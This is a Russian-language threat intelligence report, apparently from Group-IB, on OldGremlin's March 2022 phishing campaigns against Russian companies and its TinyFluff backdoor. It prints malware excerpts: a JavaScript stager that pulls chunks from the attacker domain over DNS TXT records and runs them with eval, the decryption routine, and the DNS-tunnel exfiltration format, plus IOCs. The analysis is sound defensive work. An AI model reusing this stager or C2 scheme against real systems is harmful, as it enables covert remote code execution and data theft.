РУССКИЙ
РУССКИЙ
ENGLISH




14.04.2022

Гремлины старые — методы новые

Группа OldGremlin после длительного перерыва вновь атаковала российские компании
Иван Писарев
Руководитель отдела динамического анализа вредоносного кода департамента Threat Intelligence Group-IB
До недавнего времени у русскоговорящих преступных групп-вымогателей было одно негласное правило — не трогать российские компании. Тех, кто его нарушал, можно было пересчитать по пальцам одной руки — и OldGremlin была в их числе. С весны 2020 года, когда "гремлинов" впервые раскрыли аналитики Group-IB Threat Intelligence, хакеры активно атаковали российский бизнес: банки, промышленные предприятия, медицинские организации и разработчиков софта.

За неполных два года "гремлины", по данным Group-IB, провели 13 кампаний по рассылке вредоносных писем, что является первым этапом атаки и определяет ее успешность. Самым урожайным выдался 2020 год: 10 рассылок якобы от имени Союза микрофинансовых организаций, российского металлургического холдинга, белорусского завода МТЗ, стоматологической клиники, а также медиахолдинга РБК.
Уже после первых атак стало понятно, что OldGremlin довольно щепетильно относятся к подготовке фишинговых писем и пристально следят за новостной повесткой: темой их рассылки могла быть как история об организации удаленной работы в период пандемии или белорусские протесты, так и предложение об интервью от реального финансового журналиста известного издания.

Еще к фирменному почерку OldGremlin относятся многоступенчатые целевые атаки со сложными тактиками и техниками, как у APT. Например, они рассылали свой шифровальщик TinyCryptor не «в лоб» — прямо в почтовой рассылке, а сначала получали удаленный доступ к машине жертвы и уже с этого плацдарма вели разведку, сбор данных и дальше продвигались по сети организации.

В 2021 году OldGremlin провели всего одну массовую рассылку, в феврале, однако она оказалась настолько успешной, что кормила "гремлинов" весь год. Несколько месяцев спустя, реагируя на инциденты в российских компаниях, специалисты Лаборатории цифровой криминалистики Group-IB сталкивались с тем, что первоначальной точкой входа являлась как раз эта февральская рассылка. К тому же в прошлом году именно OldGremlin побили рекорд по жадности в России — 250 млн рублей: именно такую сумму выкупа они запросили у одной из жертв.

В конце марта 2022 года OldGremlin снова заявили о себе двумя вредоносными рассылками. Как и во время прошлых атак, "гремлины" бомбардировали письмами российские компании и использовали актуальную новостную повестку. На этот раз они пытались разыграть карту антисанкций от имени российской финансовой компании. Задетектировав вредоносную рассылку с помощью собственной системы класса Managed XDR — Group-IB Threat Hunting Framework (THF) для защиты инфраструктуры от целевых атак, специалисты предупредили об угрозе одну из жертв — компанию по добыче полезных ископаемых. В этом блоге эксперты Group-IB подготовили техническое описание новых атак и инструментов OldGremlin, а также их основных тактик, техник и процедур (TTPs) по матрице MITRE ATT&CK™.

Атака 22 марта

Новая атака OldGremlin была зафиксирована 22 марта 2022 года. Злоумышленники заранее, 2 марта, зарегистрировали домен mirfinance[.]org у namecheap и привязали почту к публичному российскому почтовому сервису "Яндекс", пользующемуся высоким уровнем доверия. Это могло усыпить бдительность аналитиков и помочь обойти некоторые системы защиты, пропустившие письмо, отправленное с легитимного сервиса. С домена mirfinance[.]org и была осуществлена рассылка.

DNS-информация домена mirfinance[.]org. Источник: Group-IB Threat Intelligence

Как мы говорили, тщательно подготовленные фишинговые письма — это визитная карточка OldGremlin. На этот раз письмо было написано от имени старшего бухгалтера российской финансовой организации, которая предупреждала о введении новых санкций и полном отключении платежных систем Visa и Mastercard. "Все карты выпущенные в нашей стране не будут работать вовсе", — говорится в сообщении (орфография и пунктуация сохранены). В качестве альтернативы предлагали оформить новую банковскую карту и присоединить ее к текущему зарплатному проекту.

Фишинговое письмо OldGremlin из рассылки 22 марта.

Для оформления банковской карты клиенту необходимо было изучить инструкцию и заполнить анкету. На самом деле письма содержали ссылки на вредоносный документ, расположенный в Dropbox: hxxps://dl[.]dropboxusercontent[.]com/s/1956cypkkihawuu/Anketa.docx?dl=0.

Сам документ выглядел следующим образом:
Вредоносный документ, расположенный в Dropbox
Любопытно, что в феврале 2021 года группа провела рассылку, используя вредоносный документ, содержащий похожее изображение с Office 365. В ходе той рассылки было заражено множество компаний, и "гремлины" до сих пор пожинают плоды этих заражений, что может означать новые успешные пробивы защиты инфраструктур атакованных организаций.
Итак, вернемся к недавней рассылке и для наглядности представим схему заражения.
Схема атаки OldGremlin 22 марта
После открытия документ загружает шаблон, расположенный по адресу hxxps://dl[.]dropboxusercontent[.]com/s/gjyjs0rbtihy7ue/Doc1.dotm. Шаблон содержит макрос, выполняющий следующие действия:

  1. Копирует оригинальный файл (Anketa.docx) по пути %TEMP%\docx1.zip.
  2. Из архива, встроенного в оригинальный документ, извлекает исполняемый файл по пути %TEMP%\word\media\image2.jpg, переименовывает его в image2.exe и запускает.
  3. Демонстрирует ошибку и закрывает документ.

В архиве находился новый инструмент группы, который разработчик, судя по PDB-строке, назвал TinyFluff ("Пушок"). Он является прямым наследником уникального самописного бэкдора TinyNode, который "гремлины" использовали в качестве первичного загрузчика для скачивания и запуска вредоносных скриптов. Задача "Пушка" — запустить интерпретатор Node.js на зараженном устройстве и предоставить к нему удаленный доступ (его подробное описание можно найти в разделе "Инструменты").


Сконцентрируемся на важных особенностях данной версии TinyFluff:
  • • Интерпретатор Node.js приложение загружает с официального сайта.
  • • JS-скрипт встроен в тело файла.
  • • Не содержит жестко заданного адреса C2 — вместо этого приложение использует DGA.
  • • Все взаимодействие с C2 осуществляется через DNS-туннель.
Из всех сгенерированных доменов два однозначно принадлежали злоумышленникам. Остальные либо не были зарегистрированы на момент исследования, либо нам не удалось подтвердить, что они причастны к атаке.
К информации, представленной в таблице выше, мы еще вернемся, а пока продолжим описание цепочки заражения. Нашей системе Group-IB Threat Hunting Framework удалось получить несколько JS-скриптов, использовавшихся в данной рассылке. В частности, к нам в руки попал довольно интересный, но пока еще сырой скрипт с широкими функциональными возможностями:

  1. Взаимодействие с сервером посредством DNS-туннеля.
  2. Сбор информации о зараженном устройстве.
  3. Кража файлов с зараженного устройства.
  4. Загрузка произвольного файла с сервера.
  5. Поднятие SOCKS-сервера с целью проксирования трафика.
  6. Исполнение произвольного JS-кода.

Фейковая сверка: атака 25 марта

Три дня спустя, 25 марта, "гремлины" провели новую рассылку, но в ней уже применялся более упрощенный инструментарий. Мы связываем это с тем, что финальный скрипт, использовавшийся в прошлой атаке, пока еще не совсем готов к полноценному использованию в бою: он требовал дополнительного тестирования и добавления новых фич. Плохая новость в том, что OldGremlin, скорее всего, доведут свой скрипт до ума и мы еще увидим его в новых атаках.

Исходя из внешнего вида документов-приманок, можно предположить, что рассылка была проведена от имени компании "Консультант-Плюс". К сожалению, пока мы не обнаружили сами образцы писем (если вы один из получателей — пожалуйста, сообщите нам), но смогли реконструировать вторую атаку.
Атака OldGremlin 25 марта
На данную атаку мы вышли в ходе анализа сетевой инфраструктуры OldGremlin. С IP-адресом 46.101.113[.]161, на который резолвились NS-поддомены из прошлой рассылки, были связаны два LNK-файла. Оба файла находились в архивах, которые загружались с Dropbox:
Мы считаем, что указанные выше ссылки были встроены в разосланные группой письма. При запуске обнаруженные LNK-файлы выполняли следующие команды:
Происходит следующее: при помощи протокола WebDav подключается удаленный диск hxxp://192.248.176[.]138, демонстрируется документ приманка (DopSog_Consultant.docx либо Akt_sverki_Consultant.docx) и запускается вредоносный исполняемый файл tf.exe. Документы-приманки выглядят следующим образом:
Внешний вид документа-приманки Akt_sverki_Consultant.docx
Внешний вид документа-приманки DopSog_Consultant.docx
Внимание: к реальной компании "КонсультантПлюс" рассылка не имеет никакого отношения.
Полезная нагрузка, как вы уже догадались, — TinyFluff, однако, в отличие от файла в рассылке 22 марта, данная версия не имеет встроенного скрипта и не загружает Node.js-интерпретатор с официального сайта. Вместо этого приложение копирует и скрипт, и интерпретатор из своего текущего местоположения, то есть с сетевого диска 192.248.176[.]138.

Финальный запускаемый скрипт гораздо проще, чем вышеописанная версия. В нем отсутствуют как DGA (в качестве C2 указан IP-адрес 46.101.113[.]161), так и шифрование данных. Фактически все взаимодействие трояна с C2 можно было просмотреть при помощи обычного сниффера.

Нам удалось получить несколько JS-команд, которые запускались на зараженном устройстве. Все они были предназначены для получения информации об этом устройстве — среди них есть даже выполнение CMD-команд (они будут описаны в соответствующем разделе).

Инструменты

TinyFluff

Как уже было сказано выше, мы обнаружили две версии данного инструмента:

Начнем описание с файла tf.exe (SHA1: c82e12e563d5d5f4a8dd67703b5df7373b457abc), так как инструмент сильно проще своего предшественника. Сразу после запуска приложение создает директорию %APPDATA%\%MachineGuid%, где %MachineGuid% — значение реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid. Если директория уже существует — приложение прекращает свое исполнение. В созданную директорию приложение копирует интерпретатор Node.js — node.exe — и вредоносный скрипт s.txt. Скрипт сильно обфусцирован, однако если вам удастся его запустить — не придется тратить время на деобфускацию, так как обфусцированный слой повторно запускает интерпретатор Node.js и передает ему в качестве аргумента "чистый" скрипт.
Как видит атаку модуль Group-IB Managed XDR — Threat Hunting Framework Polygon

Как видно на скриншоте, аргумент второго процесса node.exe — это как раз скрипт без обфускации. Его функциональные возможности очень простые: подключиться к адресу 46.101.113[.]161:80, передать идентификатор формата /{0.[0-9]*/}, в цикле получить команду и исполнить ее (функцией eval). Подробнее команды будут описаны в соответствующем разделе.

Вторая версия, SHA1: bd0a6a3628f268a37ac9d708d03f57feef5ed55e, хоть и была обнаружена ранее (и дата компиляции свежее), но как инструмент сложнее. Аналогично прошлой версии, она размещает скрипт и интерпретатор в директории %APPDATA%\%MachineGuid%, однако интерпретатор скачивает с официального сайта http://nodejs.org/dist/latest-erbium/win-x86/node.exe, а вредоносный скрипт расположен в ресурсе исполняемого файла с названием TXT. Как и ранее, деобфусцированный скрипт можно получить из аргумента дочернего процесса node.exe:
Источник: Group-IB Managed XDR

На этот раз скрипт сложнее. Начнем с того, что у него нет встроенного списка C2. Вместо этого скрипт использует DGA:

const a=[0…0x1e4]
const tld=[".com",".org",".net"],
domain=crypto.createHash("md5").update(a.toString()).digest("hex").slice(0,6)+tld[f]

Для каждого домена скрипт генерирует поддомен формата [0-9a-f]{4}.[0-9a-f]{8}.%dga_domain%, делает DNS-запрос и получает TXT-запись. Все взаимодействие данного инструмента осуществляется через DNS-туннель, а это значит, что все передаваемые трояном данные находятся в поддомене, а ответ сервера — в TXT-записи. Далее мы не будем повторно останавливаться на этом и априори считаем, что все взаимодействие с сервером происходит именно таким образом.

Скрипт проверяет цифровую подпись полученных данных с помощью функции crypto.verify, используя закодированный в base64 ключ MCowBQYDK2VwAyEAgp0p9o6lg/ZZ3WUJtx7UBBb1qYMZEDNC19Hbb84wt88= (формат DER). Если подпись валидна, то скрипт генерирует идентификатор бота, который представляет собой число от 0 до 1, после чего в цикле запрашивает у управляющего сервера команду. Ответ, конечно же, обфусцирован.

Деобфускация происходит следующим образом:

1. Данные декодируются алгоритмом Base64;
2. Расшифровываются алгоритмом RC4 (в запросах данного типа в качестве ключа используется %id%.%dga_domain% — то есть домен, к которому происходило обращение);
3. Расшифрованные данные распаковываются алгоритмом gzip.

Этот алгоритм используется для деобфускации всего трафика между ВПО и сервером — меняется только ключ. Поэтому в дальнейшем будем просто говорить: "Данные деобфусцируются при помощи ключа…" После деобфускации вы обнаружите JavaScript, который сразу же исполняется интерпретатором. Текстовое описание довольно сложное, поэтому давайте попробуем разобраться на конкретном примере анализа на Polygon.

Регистрация выглядела следующим образом:

Из примера выше видно, что домен eccbc8[.]com был сгенерирован при помощи DGA, а 0.058106102444631436 — уникальный идентификатор бота. На скрине представлены два TXT-ответа, однако на данном этапе нас интересует только первый:

Vl1Ok4WH0QkAA3xSgGwyotPYGd0Q4X4LeLYTqO0mgklgbunlqCBxhnEilFysI2UrJWKsy0Q+BgoB+ox0d+DQMiebnPGyNGy46rBObiTru7WghF8YqT81dBcmG+eC2DAORzNi8qZ/V5soMuKM/sq4NvsHKmAu+odfsRsvjxfqprak+vFgZHAMING6LPge8tHc2HRfIB6Mq1rVR0p+B87bNZEZa4K8mIP

Ко второму ответу мы вернемся позже.

Если воспользоваться скриптом:

crypto=require("crypto"),
global.dec=(key,ciphertext)=>{
	const a=require("crypto").createDecipheriv("rc4",key,null),
	k=a.update(ciphertext,"base64"),
	b=require("zlib").gunzipSync(k);
	return a.final(),b.toString()
}

и ключом 0.058106102444631436.eccbc8[.]com, то можно получить первую команду:

let C = 0,
	P = "",
	K = "lin9gtmn",
	R = () => {
    	require("dns").resolveTxt("0x" + C + "." + K + ".eccbc8[.]com", (e, d) => {
        	if (d) {
            	if (P += d.join(""), C++, C < 23) return R();
            	try {
                	eval(global.dec(K, P))
            	} catch (a) {}
        	}
    	})
	};
R()

Как видно, первая команда предназначена для загрузки и запуска следующей стадии. Для этого она выполняет 23 DNS-запроса формата 0x%chank_number%.lin9gtmn.eccbc8[.]com, конкатенирует ответы в строку, деобфусцирует ее при помощи ключа lin9gtmn и запускает.

Пример таких запросов:

0x0.lin9gtmn.eccbc8[.]com
0x1.lin9gtmn.eccbc8[.]com
...
0x22.lin9gtmn.eccbc8[.]com
Полученный скрипт имеет много функциональных возможностей, включая следующие:
  • Отправка нескольких DNS-запросов одновременно
  • Сбор информации о зараженном устройстве
  • Кража файлов с зараженного устройства
  • Загрузка произвольного файла с сервера
  • Поднятие SOCKS-сервера с целью проксирования трафика

Важно отметить, что на момент исследования полученный скрипт был немного сырым: мы встречали ошибки в коде, а функция персиста была вообще закомментирована. Кроме этого, из всех вышеперечисленных функциональных возможностей после запуска скрипта исполняется только сбор информации о зараженном устройстве — данные собираются в JSON-объект формата:

{
	"transfer": {
    	"threads": "global.threads",
    	"tick": "global.tick",
    	"domain": "global.dom"
	},
	"paths": {
    	"temp": "os.tmpdir()",
    	"home": "os.homedir()"
	},
	"proc": {
    	"load": "os.loadavg()",
    	"cpus": "os.cpus()"
	},
	"mem": {
    	"total": "os.totalmem()",
    	"free": "os.freemem()"
	},
	"network": {
    	"interfaces": "os.networkInterfaces()"
	},
	"sys": {
    	"hostName": "os.hostname()",
    	"type": "os.type()",
    	"platform": "os.platform()",
    	"release": "os.release()",
    	"uptime": "os.uptime()"
	},
	"user": "os.userInfo()"
}

Данные снова обфусцируются ключом lin9gtmn, разбиваются на чанки размером 60 байт и передаются в несколько запросов в формате:


1x%chank_number%.%key%.%random_string{8}%.%hex_chunk%.eccbc8[.]com

Polygon example:

1x2.lin9gtmn.v937nf2g.01e35a4076d1b5a1f285b49c11d2a96230b8ce152e9b3877243b7e5234bb.c31240b961ed4e166d3db5a3717423c9a817fe84c0e80333188733c35c90.4a09fc61e3f7c77554abb59595f3978c39e177828bf2a6bbb718c06a348f.a0a09ae03c0efc4824ab10e2.eccbc8[.]com

В ответ сервер может прислать обфусцированный Java-скрипт, который будет исполнен. В нашем случае дополнительной команды мы не получили. Однако помните ли вы мое обещание вернуться ко второму ответу? Так вот:

Вторая команда от сервера после деобфускации выглядит следующим образом:

if(global.connect)global.connect()

И этот скрипт запускает второй большой участок кода из финального скрипта. В первую очередь код выполняет запрос к серверу, чтобы получить параметры подключения. Запрос выглядит следующим образом:

2x.%uid%.%id%%rand_string{2}%.%dga_domain%

Polygon example:

2x.058106102444631436.079i4mjd6c.eccbc8[.]com

Ответ — обфусцированные ключом %id% данные формата %threads%:%width%:%expire%. Чтобы не перегружать статью глубокими техническими деталями, не будем описывать значение этих полей. Отметим только, что эти переменные отвечают за количество одновременных DNS-запросов, количество одновременно обрабатываемых команд от сервера и время работы скрипта-обработчика команд.

Имея параметры подключения, скрипт запускает функцию-обработчик команд от сервера. Она, в свою очередь, тоже делает запрос на сервер с целью получения команд:

3x.%uid%.%dga_domain%

Polygon example:

3x.058106102444631436.eccbc8[.]com

Скрипт обрабатывает следующие команды:

Важно отметить, что данный участок кода логирует ход своей работы, однако для передачи данных на сервер используется функция this.send (в коде не определена), которая первым аргументом принимает this.proc.stdout. Результат работы команды .download: обрабатывается аналогичным образом. Эти факты могут говорить о том, что данный участок кода все еще находится в разработке.

В коде также присутствуют две функции, название которых говорит само за себя: _socks и _eval. Их использования мы не обнаружили, поэтому предполагаем, что они могут быть вызваны по команде сервера. Помимо этого, в скрипте закомментирована часть кода, обеспечивающая персистентность путем создания файла OneDrive.cmd в директории Microsoft\Windows\Start Menu\Programs\Startup и записи в него команды на запуск Node.js-интерпретатора с аргументом s.txt.

Команды

Как было сказано выше, 25 марта нам удалось получить и проанализировать несколько команд. Они использовались для проведения разведки, после чего злоумышленники (либо скрипт на их стороне) осознали, что запуск приложения был осуществлен в тестовой среде, и отправили команду на завершение работы интерпретатора. Все команды отправлялись в открытом виде, поэтому их можно было происследовать, воспользовавшись сниффером трафика:
Пример трафика между зараженным устройством и сервером
Команды можно разделить по функциональным возможностям на 6 скриптов, которые выполняют следующие шаги:
  • 1
    Сбор информации о зараженной системе/устройстве:
    • CPU
    • Имя компьютера, объем памяти
    • Информация о сети (IP- и MAC-адрес)
    • Информация об ОС
    • Путь к директории %Temp%
    • Время работы системы
  • 2
    Получение информации о подключенных дисках
  • 3
    Запуск командного интерпретатора cmd.exe, выполнение в нем команды и отправка результата на C2. В ходе нашего исследования были выполнены следующие команды:
    • ipconfig /all
    • kill
  • 4
    Получение информации о том, какие плагины были установлены в системе. На момент исследования ни один плагин не был прогружен, так что пока у нас есть только их наименования:
    • TSFR
    • SHLL
    • NESC
    • PRSE/PRST
    • FWSE
    • SPPU/SPPR
    • SRPU/SRPR
    • ATSE
  • 5
    Получение информации о файлах в следующих директориях:
    • в директории, в которой расположен вредоносный скрипт и интерпретатор Node.js
    • C:\
    • C:\Users
    • C:\Users\<%username%>
    • C:\Users\<%username%>\Downloads
  • 6
    Завершение работы интерпретатора Node.js

Больше команд в ходе исследования нам получить не удалось, но даже опираясь на этот небольшой список, можно сделать вывод, что OldGremlin подготовили достаточное количество скриптов для проведения полноценной постэксплуатации.

Заключение

После длительного — больше года — перерыва группа OldGremlin в марте 2022 года вновь провела рассылки вредоносных писем по российским компаниям. Как и во время прошлых атак, "гремлины" использовали тщательно подготовленные фейковые письма, актуальную новостную повестку (санкции vs. антисанкции), а также новые уникальные инструменты, например TinyFluff ("Пушок"). Мы предполагаем, что новые рассылки могли заразить большое количество компаний и в ближайшие месяцы злоумышленники будут без лишней спешки, медленно и аккуратно продвигаться в их инфраструктуре, обходя дефолтные системы защиты.

Для предотвращения кибератак с использованием программ-вымогателей мы настоятельно рекомендуем использовать решение Group-IB Managed XDR, которое защищает инфраструктуру от целевых атак и позволяет проактивно охотиться за угрозами с использованием данных Threat Intelligence. Аналитикам и специалистам по кибербезопасности также рекомендуем внимательно изучить тактики, техники и процедуры OldGremlin, упомянутые в таблице ниже — она построена на базе матрицы MITRE ATT&CK. Команда Group-IB Threat Intelligence продолжает следить за активностью группы и оперативно уведомлять клиентов о новых атаках.
Попробуйте Group-IB Threat Intelligence прямо сейчас!
Оптимизируйте принятие стратегических, оперативных и тактических решений с помощью лучшей в своем классе аналитики киберугроз

MITRE ATT&CK

IOCs

Network

Domains

IPs

  • 192.248.176[.]138
  • 46.101.113[.]161
  • 161.35.41[.]9
Обновлено 14 апреля, 10:30 GMT
URLs

  • hxxps://dl[.]dropboxusercontent[.]com/s/1956cypkkihawuu/Anketa.docx?dl=0
  • hxxps://dl[.]dropboxusercontent[.]com/s/gjyjs0rbtihy7ue/Doc1.dotm
  • hXXps://dl.dropboxusercontent[.]com/s/9kng4v6vuq7mq39/akt_sverki.zip?dl=0
  • hXXps://dl.dropboxusercontent[.]com/s/fq8ew6gl3x46rjc/Akt_sverki.zip?dl=0
  • hXXps://dl.dropboxusercontent[.]com/s/lf1w11jxp2z0f6s/Akt_sverki.zip?dl=0
  • hXXps://dl.dropboxusercontent[.]com/s/hy2ub5wnns4c0fi/Akt_sverki.zip?dl=0
  • hXXps://dl.dropboxusercontent[.]com/s/ivopsmmssq04p92/DopSog_Consult.zip?dl=0
  • hXXps:://dl.dropboxusercontent[.]com/s/mt0boz6v3u11hlx/DopSog_Consult.zip
  • hXXps:://dl.dropboxusercontent[.]com/s/ocrracouta681r5/DopSog_Consult.zip?dl=0

Files

2022-03-22

2022-03-25